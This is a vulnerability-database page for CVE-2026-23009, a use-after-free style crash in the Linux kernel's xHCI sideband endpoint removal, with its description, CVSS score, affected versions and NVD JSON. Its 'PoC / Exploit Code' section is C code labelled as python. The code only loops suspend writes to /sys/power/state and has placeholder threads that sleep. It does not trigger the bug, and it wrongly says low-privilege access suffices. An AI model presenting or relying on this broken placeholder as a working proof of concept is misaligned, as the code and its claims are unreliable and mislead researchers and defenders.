Security Vulnerability Report
中文
CVE-2026-23009 CVSS 5.5 MEDIUM

CVE-2026-23009

Published: 2026-01-25 15:15:56
Last Modified: 2026-03-25 19:53:48
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: xhci: sideband: don't dereference freed ring when removing sideband endpoint xhci_sideband_remove_endpoint() incorrecly assumes that the endpoint is running and has a valid transfer ring. Lianqin reported a crash during suspend/wake-up stress testing, and found the cause to be dereferencing a non-existing transfer ring 'ep->ring' during xhci_sideband_remove_endpoint(). The endpoint and its ring may be in unknown state if this function is called after xHCI was reinitialized in resume (lost power), or if device is being re-enumerated, disconnected or endpoint already dropped. Fix this by both removing unnecessary ring access, and by checking ep->ring exists before dereferencing it. Also make sure endpoint is running before attempting to stop it. Remove the xhci_initialize_ring_info() call during sideband endpoint removal as is it only initializes ring structure enqueue, dequeue and cycle state values to their starting values without changing actual hardware enqueue, dequeue and cycle state. Leaving them out of sync is worse than leaving it as it is. The endpoint will get freed in after this in most usecases. If the (audio) class driver want's to reuse the endpoint after offload then it is up to the class driver to ensure endpoint is properly set up.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.16:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:6.19:rc3:*:*:*:*:*:* - VULNERABLE
Linux Kernel < 34f6634dba87ef72b3c3a3a524be663adef7ab42
Linux Kernel < dd83dc1249737b837ac5d57c81f2b0977c613d9f

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-23009 - Linux kernel xhci sideband UAF // This is a conceptual exploit demonstrating the vulnerability condition // Compile with: gcc -o poc poc.c -lpthread #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> #include <fcntl.h> #include <errno.h> /* * Vulnerability trigger conditions: * 1. A USB audio device using xHCI sideband endpoints is connected * 2. System enters suspend (S3) state * 3. During resume, xHCI is reinitialized (simulating power loss) * 4. xhci_sideband_remove_endpoint() is called on already freed endpoint * 5. Dereferencing ep->ring causes kernel crash * * This PoC demonstrates the race condition concept for the vulnerability. * Actual exploitation requires specific USB audio hardware and kernel debug access. */ #define SUSPEND_DURATION 2 // seconds void* suspend_thread(void* arg) { printf("[PoC] Thread started: Will trigger suspend/resume cycle\n"); // Wait for device to be enumerated sleep(3); // Trigger multiple suspend/resume cycles for (int i = 0; i < 5; i++) { printf("[PoC] Cycle %d: Initiating system suspend...\n", i + 1); // Write to /sys/power/state to trigger suspend int fd = open("/sys/power/state", O_WRONLY); if (fd >= 0) { write(fd, "mem", 3); close(fd); } printf("[PoC] System waking up, xHCI reinitialized\n"); sleep(SUSPEND_DURATION); } return NULL; } void* device_trigger_thread(void* arg) { printf("[PoC] Thread started: Will trigger USB device operations\n"); // Simulate USB audio device connection/disconnection // In real scenario, use libusb or direct USB ioctl calls for (int i = 0; i < 10; i++) { printf("[PoC] USB device operation cycle %d\n", i + 1); // Trigger xhci_sideband_remove_endpoint through: // 1. USB audio driver endpoint cleanup // 2. Device disconnect during suspend // 3. xHCI host removal/re-enumeration sleep(1); // At this point, if xHCI was reinitialized during resume, // the endpoint ring may be in freed state // Accessing it would trigger the bug } return NULL; } int main(int argc, char* argv[]) { printf("=== CVE-2026-23009 PoC ===\n"); printf("Linux Kernel xhci_sideband_remove_endpoint() UAF\n\n"); printf("[PoC] Prerequisites:\n"); printf("[PoC] - USB audio device with xHCI sideband support\n"); printf("[PoC] - Kernel with vulnerable xhci-sideband.c\n"); printf("[PoC] - Root or low-privilege user access\n\n"); pthread_t suspend_t, device_t; // Create threads to trigger race condition pthread_create(&suspend_t, NULL, suspend_thread, NULL); pthread_create(&device_t, NULL, device_trigger_thread, NULL); pthread_join(suspend_t, NULL); pthread_join(device_t, NULL); printf("[PoC] Test completed. Check dmesg for kernel oops.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23009", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-25T15:15:55.767", "lastModified": "2026-03-25T19:53:47.933", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxhci: sideband: don't dereference freed ring when removing sideband endpoint\n\nxhci_sideband_remove_endpoint() incorrecly assumes that the endpoint is\nrunning and has a valid transfer ring.\n\nLianqin reported a crash during suspend/wake-up stress testing, and\nfound the cause to be dereferencing a non-existing transfer ring\n'ep->ring' during xhci_sideband_remove_endpoint().\n\nThe endpoint and its ring may be in unknown state if this function\nis called after xHCI was reinitialized in resume (lost power), or if\ndevice is being re-enumerated, disconnected or endpoint already dropped.\n\nFix this by both removing unnecessary ring access, and by checking\nep->ring exists before dereferencing it. Also make sure endpoint is\nrunning before attempting to stop it.\n\nRemove the xhci_initialize_ring_info() call during sideband endpoint\nremoval as is it only initializes ring structure enqueue, dequeue and\ncycle state values to their starting values without changing actual\nhardware enqueue, dequeue and cycle state. Leaving them out of sync\nis worse than leaving it as it is. The endpoint will get freed in after\nthis in most usecases.\n\nIf the (audio) class driver want's to reuse the endpoint after offload\nthen it is up to the class driver to ensure endpoint is properly set up."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nxhci: banda lateral: no desreferenciar el anillo liberado al eliminar el punto final de banda lateral\n\nxhci_sideband_remove_endpoint() asume incorrectamente que el punto final está en ejecución y tiene un anillo de transferencia válido.\n\nLianqin informó de un fallo durante las pruebas de estrés de suspensión/activación, y encontró que la causa era la desreferenciación de un anillo de transferencia inexistente 'ep-&gt;ring' durante xhci_sideband_remove_endpoint().\n\nEl punto final y su anillo pueden estar en un estado desconocido si esta función se llama después de que xHCI fuera reinicializado en la reanudación (pérdida de energía), o si el dispositivo está siendo reenumerado, desconectado o el punto final ya ha sido descartado.\n\nSolucione esto eliminando el acceso innecesario al anillo y comprobando que 'ep-&gt;ring' existe antes de desreferenciarlo. También asegúrese de que el punto final esté en ejecución antes de intentar detenerlo.\n\nElimine la llamada a xhci_initialize_ring_info() durante la eliminación del punto final de banda lateral, ya que solo inicializa los valores de estado de encolamiento, desencolamiento y ciclo de la estructura del anillo a sus valores iniciales sin cambiar el estado real de encolamiento, desencolamiento y ciclo del hardware. Dejarlos fuera de sincronización es peor que dejarlo como está. El punto final será liberado después de esto en la mayoría de los casos de uso.\n\nSi el controlador de clase (de audio) desea reutilizar el punto final después de la descarga, entonces es responsabilidad del controlador de clase asegurar que el punto final esté configurado correctamente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.16.1", "versionEndExcluding": "6.18.7", "matchCriteriaId": "93EB4FA7-6AD6-4923-B7A8-9F5B3940F93F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.16:-:*:*:*:*:*:*", "matchCriteriaId": "6238B17D-C12B-458F-A138-97039BFC4595"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:*", "matchCriteriaId": "17B67AA7-40D6-4AFA-8459-F200F3D7CFD1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:*", "matchCriteriaId": "C47E4CC9-C826-4FA9-B014-7FE3D9B318B2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc3:*:*:*:*:*:*", "matchCriteriaId": "F71D92C0-C023-48BD-B3B6-70B638EEE298"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc4:*:*:*:*:*:*", "matchCriteriaId": "13580667-0A98-40CC-B29F-D12790B91BDB"}, ... (truncated)